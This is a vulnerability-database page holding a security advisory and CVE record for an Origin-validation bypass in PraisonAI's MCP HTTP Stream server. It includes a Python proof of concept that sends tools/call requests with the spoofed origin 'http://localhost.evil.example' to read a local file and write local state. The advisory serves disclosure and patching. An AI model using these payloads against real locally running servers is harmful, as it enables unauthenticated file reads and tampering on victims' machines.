Vulnerability-Lookup

GHSA-WJ6G-V78P-6FX3

Vulnerability from github – Published: 2026-08-25 14:26 – Updated: 2026-08-25 14:26

Summary

PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server

Details

Summary

PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value.

As a result, an attacker-controlled origin such as http://localhost.evil.example passes the localhost origin check.

When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP tools/call requests against a locally running PraisonAI MCP server.

This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to 127.0.0.1, so this is not a directly internet-facing unauthenticated API in the default configuration.

Details

Relevant source locations:

src/praisonai/praisonai/mcp_server/cli.py
src/praisonai/praisonai/mcp_server/transports/http_stream.py
src/praisonai/praisonai/mcp_server/server.py
src/praisonai/praisonai/mcp_server/adapters/__init__.py
src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py
src/praisonai/praisonai/mcp_server/adapters/cli_tools.py
src/praisonai/praisonai/capabilities/files.py

The MCP CLI defaults to HTTP host 127.0.0.1, API key None, and allowed origins None unless explicitly configured:

parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8080)
parser.add_argument("--api-key", default=None)
parser.add_argument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")

The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:

register_all()

server.run_http_stream(
    host=parsed.host,
    port=parsed.port,
    endpoint=parsed.endpoint,
    api_key=parsed.api_key,
    cors_origins=cors_origins,
    allowed_origins=allowed_origins,
    session_ttl=parsed.session_ttl,
    allow_client_termination=allow_termination,
    response_mode=parsed.response_mode,
    resumability_enabled=parsed.resumability,
)

When allowed_origins is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:

if allowed_origins is None:
    if host in ("127.0.0.1", "localhost", "::1"):
        self.allowed_origins = [
            "http://localhost",
            "http://127.0.0.1",
            "https://localhost",
            "https://127.0.0.1",
        ]

The vulnerable validation accepts origins that merely start with an allowlisted value:

for allowed in self.allowed_origins:
    if request_origin == allowed or request_origin.startswith(allowed):
        return True

Because http://localhost.evil.example starts with http://localhost, it is accepted as a trusted localhost origin.

Authentication is only enforced if an API key is configured:

if self.api_key:
    auth_header = request.headers.get("Authorization", "")
    if not auth_header.startswith("Bearer ") or auth_header[7:] != self.api_key:
        return JSONResponse(
            {"error": "Unauthorized"},
            status_code=401,
        )

The request body is then parsed and dispatched to the MCP server:

body = await request.json()
response = await self.server.handle_message(body)

The MCP server handles tools/call by looking up the named tool and invoking the registered handler with attacker-controlled arguments:

tool_name = params.get("name")
arguments = params.get("arguments", {})

tool = self._tool_registry.get(tool_name)

if asyncio.iscoroutinefunction(tool.handler):
    result = await tool.handler(**arguments)
else:
    result = tool.handler(**arguments)

register_all() registers capability tools, extended capability tools, CLI tools, resources, and prompts:

def _register_all():
    register_all_tools()
    register_extended_capability_tools()
    register_cli_tools()
    register_mcp_resources()
    register_mcp_prompts()

One exposed MCP tool is praisonai.files.create, which accepts a local file_path and passes it to file_create():

@register_tool("praisonai.files.create")
def files_create(file_path: str, purpose: str = "assistants") -> str:
    from praisonai.capabilities import file_create
    result = file_create(file=file_path, purpose=purpose)

file_create() opens attacker-selected string paths as local files and passes the file object to LiteLLM:

file_obj = file
if isinstance(file, str):
    file_obj = open(file, 'rb')

response = litellm.create_file(**call_kwargs)

Another exposed MCP tool, praisonai.todo.add, writes attacker-supplied content into local PraisonAI state at ~/.praison/todo.json.

PoC

The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory litellm module so the file-read effect is captured locally and safely.

Run from the repository root with test dependencies installed:

python3 poc_mcp_origin_bypass.py

poc_mcp_origin_bypass.py:

import json
import os
import sys
import tempfile
import types
from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))

# Fake litellm so the PoC proves local file read without network exfiltration.
captured = {}
fake_litellm = types.ModuleType("litellm")

def create_file(**kwargs):
    f = kwargs["file"]
    captured["filename"] = getattr(f, "name", "<bytes>")
    captured["content"] = f.read().decode("utf-8")

    class Resp:
        id = "file-safe-local-poc"
        object = "file"
        bytes = len(captured["content"])
        filename = captured["filename"]
        purpose = kwargs.get("purpose")
        status = "processed"

    return Resp()

fake_litellm.create_file = create_file
sys.modules["litellm"] = fake_litellm

from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport
from praisonai.mcp_server.adapters import register_all

register_all()
server = MCPServer(name="praisonai-local-poc")

# Default vulnerable configuration: localhost host, no API key, default allowed origins.
transport = HTTPStreamTransport(
    server=server,
    host="127.0.0.1",
    api_key=None,
    allowed_origins=None,
)
app = transport._create_app()
client = TestClient(app)

with tempfile.TemporaryDirectory() as td:
    os.environ["HOME"] = td

    marker = Path(td) / "safe-marker.txt"
    marker.write_text("SAFE_LOCAL_MARKER_MCP_FILE_READ")

    file_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "praisonai.files.create",
            "arguments": {
                "file_path": str(marker),
                "purpose": "assistants",
            },
        },
    }

    # Non-localhost malicious origin is blocked.
    blocked = client.post(
        "/mcp",
        data=json.dumps(file_payload),
        headers={
            "Origin": "https://evil.example",
            "Content-Type": "text/plain",
        },
    )

    # Prefix-matching bypass: accepted because it starts with http://localhost.
    bypass = client.post(
        "/mcp",
        data=json.dumps(file_payload),
        headers={
            "Origin": "http://localhost.evil.example",
            "Content-Type": "text/plain",
        },
    )

    todo_payload = {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {
            "name": "praisonai.todo.add",
            "arguments": {
                "content": "SAFE_LOCAL_TODO_MARKER",
                "priority": "high",
            },
        },
    }

    todo = client.post(
        "/mcp",
        data=json.dumps(todo_payload),
        headers={
            "Origin": "http://localhost.evil.example",
            "Content-Type": "text/plain",
        },
    )

    todo_file = Path(td) / ".praison" / "todo.json"

    print(json.dumps({
        "blocked_origin_status": blocked.status_code,
        "bypass_origin_status": bypass.status_code,
        "bypass_response_text": bypass.json().get("result", {}).get("content", [{}])[0].get("text"),
        "captured_file_basename": Path(captured.get("filename", "")).name,
        "captured_file_content": captured.get("content"),
        "todo_status": todo.status_code,
        "todo_response_text": todo.json().get("result", {}).get("content", [{}])[0].get("text"),
        "todo_file_exists": todo_file.exists(),
    }, indent=2))

Observed output:

{
  "blocked_origin_status": 403,
  "bypass_origin_status": 200,
  "bypass_response_text": "File created: file-safe-local-poc",
  "captured_file_basename": "safe-marker.txt",
  "captured_file_content": "SAFE_LOCAL_MARKER_MCP_FILE_READ",
  "todo_status": 200,
  "todo_response_text": "Todo added: 0440613d",
  "todo_file_exists": true
}

The important results are:

Origin: https://evil.example is rejected with 403.
Origin: http://localhost.evil.example is accepted with 200.
The bypassed request invokes praisonai.files.create and reads the local safe marker file.
The bypassed request invokes praisonai.todo.add and writes local PraisonAI state.

Impact

A malicious webpage can bypass the localhost Origin allowlist and trigger MCP tools/call requests against a locally running unauthenticated HTTP Stream server.

In local testing, this allowed invoking registered PraisonAI tools that:

read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and
modify local PraisonAI state by writing to ~/.praison/todo.json.

The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.

Severity

6.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:26:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPraisonAI\u0027s MCP HTTP Stream transport uses an unsafe prefix match when validating the `Origin` header. The default localhost allowlist includes origins such as `http://localhost`, and the validation accepts any origin that starts with an allowed value.\n\nAs a result, an attacker-controlled origin such as `http://localhost.evil.example` passes the localhost origin check.\n\nWhen the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP `tools/call` requests against a locally running PraisonAI MCP server.\n\nThis is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to `127.0.0.1`, so this is not a directly internet-facing unauthenticated API in the default configuration.\n\n### Details\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/mcp_server/cli.py`\n- `src/praisonai/praisonai/mcp_server/transports/http_stream.py`\n- `src/praisonai/praisonai/mcp_server/server.py`\n- `src/praisonai/praisonai/mcp_server/adapters/__init__.py`\n- `src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py`\n- `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`\n- `src/praisonai/praisonai/capabilities/files.py`\n\nThe MCP CLI defaults to HTTP host `127.0.0.1`, API key `None`, and allowed origins `None` unless explicitly configured:\n\n```python\nparser.add_argument(\"--host\", default=\"127.0.0.1\")\nparser.add_argument(\"--port\", type=int, default=8080)\nparser.add_argument(\"--api-key\", default=None)\nparser.add_argument(\"--allowed-origins\", default=None, help=\"Comma-separated allowed origins for security\")\n```\n\nThe CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:\n\n```python\nregister_all()\n\nserver.run_http_stream(\n    host=parsed.host,\n    port=parsed.port,\n    endpoint=parsed.endpoint,\n    api_key=parsed.api_key,\n    cors_origins=cors_origins,\n    allowed_origins=allowed_origins,\n    session_ttl=parsed.session_ttl,\n    allow_client_termination=allow_termination,\n    response_mode=parsed.response_mode,\n    resumability_enabled=parsed.resumability,\n)\n```\n\nWhen `allowed_origins` is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:\n\n```python\nif allowed_origins is None:\n    if host in (\"127.0.0.1\", \"localhost\", \"::1\"):\n        self.allowed_origins = [\n            \"http://localhost\",\n            \"http://127.0.0.1\",\n            \"https://localhost\",\n            \"https://127.0.0.1\",\n        ]\n```\n\nThe vulnerable validation accepts origins that merely start with an allowlisted value:\n\n```python\nfor allowed in self.allowed_origins:\n    if request_origin == allowed or request_origin.startswith(allowed):\n        return True\n```\n\nBecause `http://localhost.evil.example` starts with `http://localhost`, it is accepted as a trusted localhost origin.\n\nAuthentication is only enforced if an API key is configured:\n\n```python\nif self.api_key:\n    auth_header = request.headers.get(\"Authorization\", \"\")\n    if not auth_header.startswith(\"Bearer \") or auth_header[7:] != self.api_key:\n        return JSONResponse(\n            {\"error\": \"Unauthorized\"},\n            status_code=401,\n        )\n```\n\nThe request body is then parsed and dispatched to the MCP server:\n\n```python\nbody = await request.json()\nresponse = await self.server.handle_message(body)\n```\n\nThe MCP server handles `tools/call` by looking up the named tool and invoking the registered handler with attacker-controlled arguments:\n\n```python\ntool_name = params.get(\"name\")\narguments = params.get(\"arguments\", {})\n\ntool = self._tool_registry.get(tool_name)\n\nif asyncio.iscoroutinefunction(tool.handler):\n    result = await tool.handler(**arguments)\nelse:\n    result = tool.handler(**arguments)\n```\n\n`register_all()` registers capability tools, extended capability tools, CLI tools, resources, and prompts:\n\n```python\ndef _register_all():\n    register_all_tools()\n    register_extended_capability_tools()\n    register_cli_tools()\n    register_mcp_resources()\n    register_mcp_prompts()\n```\n\nOne exposed MCP tool is `praisonai.files.create`, which accepts a local `file_path` and passes it to `file_create()`:\n\n```python\n@register_tool(\"praisonai.files.create\")\ndef files_create(file_path: str, purpose: str = \"assistants\") -\u003e str:\n    from praisonai.capabilities import file_create\n    result = file_create(file=file_path, purpose=purpose)\n```\n\n`file_create()` opens attacker-selected string paths as local files and passes the file object to LiteLLM:\n\n```python\nfile_obj = file\nif isinstance(file, str):\n    file_obj = open(file, \u0027rb\u0027)\n\nresponse = litellm.create_file(**call_kwargs)\n```\n\nAnother exposed MCP tool, `praisonai.todo.add`, writes attacker-supplied content into local PraisonAI state at `~/.praison/todo.json`.\n\n### PoC\n\nThe following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory `litellm` module so the file-read effect is captured locally and safely.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_mcp_origin_bypass.py\n```\n\n`poc_mcp_origin_bypass.py`:\n\n```python\nimport json\nimport os\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Fake litellm so the PoC proves local file read without network exfiltration.\ncaptured = {}\nfake_litellm = types.ModuleType(\"litellm\")\n\ndef create_file(**kwargs):\n    f = kwargs[\"file\"]\n    captured[\"filename\"] = getattr(f, \"name\", \"\u003cbytes\u003e\")\n    captured[\"content\"] = f.read().decode(\"utf-8\")\n\n    class Resp:\n        id = \"file-safe-local-poc\"\n        object = \"file\"\n        bytes = len(captured[\"content\"])\n        filename = captured[\"filename\"]\n        purpose = kwargs.get(\"purpose\")\n        status = \"processed\"\n\n    return Resp()\n\nfake_litellm.create_file = create_file\nsys.modules[\"litellm\"] = fake_litellm\n\nfrom praisonai.mcp_server.server import MCPServer\nfrom praisonai.mcp_server.transports.http_stream import HTTPStreamTransport\nfrom praisonai.mcp_server.adapters import register_all\n\nregister_all()\nserver = MCPServer(name=\"praisonai-local-poc\")\n\n# Default vulnerable configuration: localhost host, no API key, default allowed origins.\ntransport = HTTPStreamTransport(\n    server=server,\n    host=\"127.0.0.1\",\n    api_key=None,\n    allowed_origins=None,\n)\napp = transport._create_app()\nclient = TestClient(app)\n\nwith tempfile.TemporaryDirectory() as td:\n    os.environ[\"HOME\"] = td\n\n    marker = Path(td) / \"safe-marker.txt\"\n    marker.write_text(\"SAFE_LOCAL_MARKER_MCP_FILE_READ\")\n\n    file_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"praisonai.files.create\",\n            \"arguments\": {\n                \"file_path\": str(marker),\n                \"purpose\": \"assistants\",\n            },\n        },\n    }\n\n    # Non-localhost malicious origin is blocked.\n    blocked = client.post(\n        \"/mcp\",\n        data=json.dumps(file_payload),\n        headers={\n            \"Origin\": \"https://evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    # Prefix-matching bypass: accepted because it starts with http://localhost.\n    bypass = client.post(\n        \"/mcp\",\n        data=json.dumps(file_payload),\n        headers={\n            \"Origin\": \"http://localhost.evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    todo_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"praisonai.todo.add\",\n            \"arguments\": {\n                \"content\": \"SAFE_LOCAL_TODO_MARKER\",\n                \"priority\": \"high\",\n            },\n        },\n    }\n\n    todo = client.post(\n        \"/mcp\",\n        data=json.dumps(todo_payload),\n        headers={\n            \"Origin\": \"http://localhost.evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    todo_file = Path(td) / \".praison\" / \"todo.json\"\n\n    print(json.dumps({\n        \"blocked_origin_status\": blocked.status_code,\n        \"bypass_origin_status\": bypass.status_code,\n        \"bypass_response_text\": bypass.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n        \"captured_file_basename\": Path(captured.get(\"filename\", \"\")).name,\n        \"captured_file_content\": captured.get(\"content\"),\n        \"todo_status\": todo.status_code,\n        \"todo_response_text\": todo.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n        \"todo_file_exists\": todo_file.exists(),\n    }, indent=2))\n```\n\nObserved output:\n\n```json\n{\n  \"blocked_origin_status\": 403,\n  \"bypass_origin_status\": 200,\n  \"bypass_response_text\": \"File created: file-safe-local-poc\",\n  \"captured_file_basename\": \"safe-marker.txt\",\n  \"captured_file_content\": \"SAFE_LOCAL_MARKER_MCP_FILE_READ\",\n  \"todo_status\": 200,\n  \"todo_response_text\": \"Todo added: 0440613d\",\n  \"todo_file_exists\": true\n}\n```\n\nThe important results are:\n\n- `Origin: https://evil.example` is rejected with `403`.\n- `Origin: http://localhost.evil.example` is accepted with `200`.\n- The bypassed request invokes `praisonai.files.create` and reads the local safe marker file.\n- The bypassed request invokes `praisonai.todo.add` and writes local PraisonAI state.\n\n### Impact\n\nA malicious webpage can bypass the localhost Origin allowlist and trigger MCP `tools/call` requests against a locally running unauthenticated HTTP Stream server.\n\nIn local testing, this allowed invoking registered PraisonAI tools that:\n\n- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and\n- modify local PraisonAI state by writing to `~/.praison/todo.json`.\n\nThe default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.",
  "id": "GHSA-wj6g-v78p-6fx3",
  "modified": "2026-08-25T14:26:26Z",
  "published": "2026-08-25T14:26:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server"
}

CVE-2026-55529 (GCVE-0-2026-55529)

Vulnerability from cvelistv5 – Published: 2026-08-25 14:26 – Updated: 2026-08-27 15:15

Title

PraisonAI: Origin validation bypass in MCP HTTP Stream transport allows browser-mediated unauthenticated tool execution on local MCP server

Summary

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, the MCP HTTP Stream _validate_origin method accepts request_origin.startswith(allowed), so the attacker-controlled localhost.evil.example HTTP origin matches the localhost allowlist. Without an API key, a malicious webpage can submit tools/call requests to the local MCP server and execute exposed tools. This issue is fixed in version 4.6.58.

Severity

6.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-27 15:14 UTC

CWE

CWE-306 - Missing Authentication for Critical Function
CWE-346 - Origin Validation Error

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/MervinPraison/PraisonAI/securi…	x_refsource_CONFIRM
https://github.com/MervinPraison/PraisonAI/commit…	x_refsource_MISC
https://github.com/MervinPraison/PraisonAI/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
MervinPraison	PraisonAI	Affected: < 4.6.58

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55529",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-27T15:14:43.673364Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-27T15:15:14.217Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PraisonAI",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.6.58"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, the MCP HTTP Stream _validate_origin method accepts request_origin.startswith(allowed), so the attacker-controlled localhost.evil.example HTTP origin matches the localhost allowlist. Without an API key, a malicious webpage can submit tools/call requests to the local MCP server and execute exposed tools. This issue is fixed in version 4.6.58."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-346",
              "description": "CWE-346: Origin Validation Error",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-25T14:26:30.692Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3"
        },
        {
          "name": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
        },
        {
          "name": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
        }
      ],
      "source": {
        "advisory": "GHSA-wj6g-v78p-6fx3",
        "discovery": "UNKNOWN"
      },
      "title": "PraisonAI: Origin validation bypass in MCP HTTP Stream transport allows browser-mediated unauthenticated tool execution on local MCP server"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55529",
    "datePublished": "2026-08-25T14:26:30.692Z",
    "dateReserved": "2026-06-16T23:01:04.073Z",
    "dateUpdated": "2026-08-27T15:15:14.217Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-WJ6G-V78P-6FX3

Summary

Details

PoC

Impact

CVE-2026-55529 (GCVE-0-2026-55529)

Tags

Sightings

Nomenclature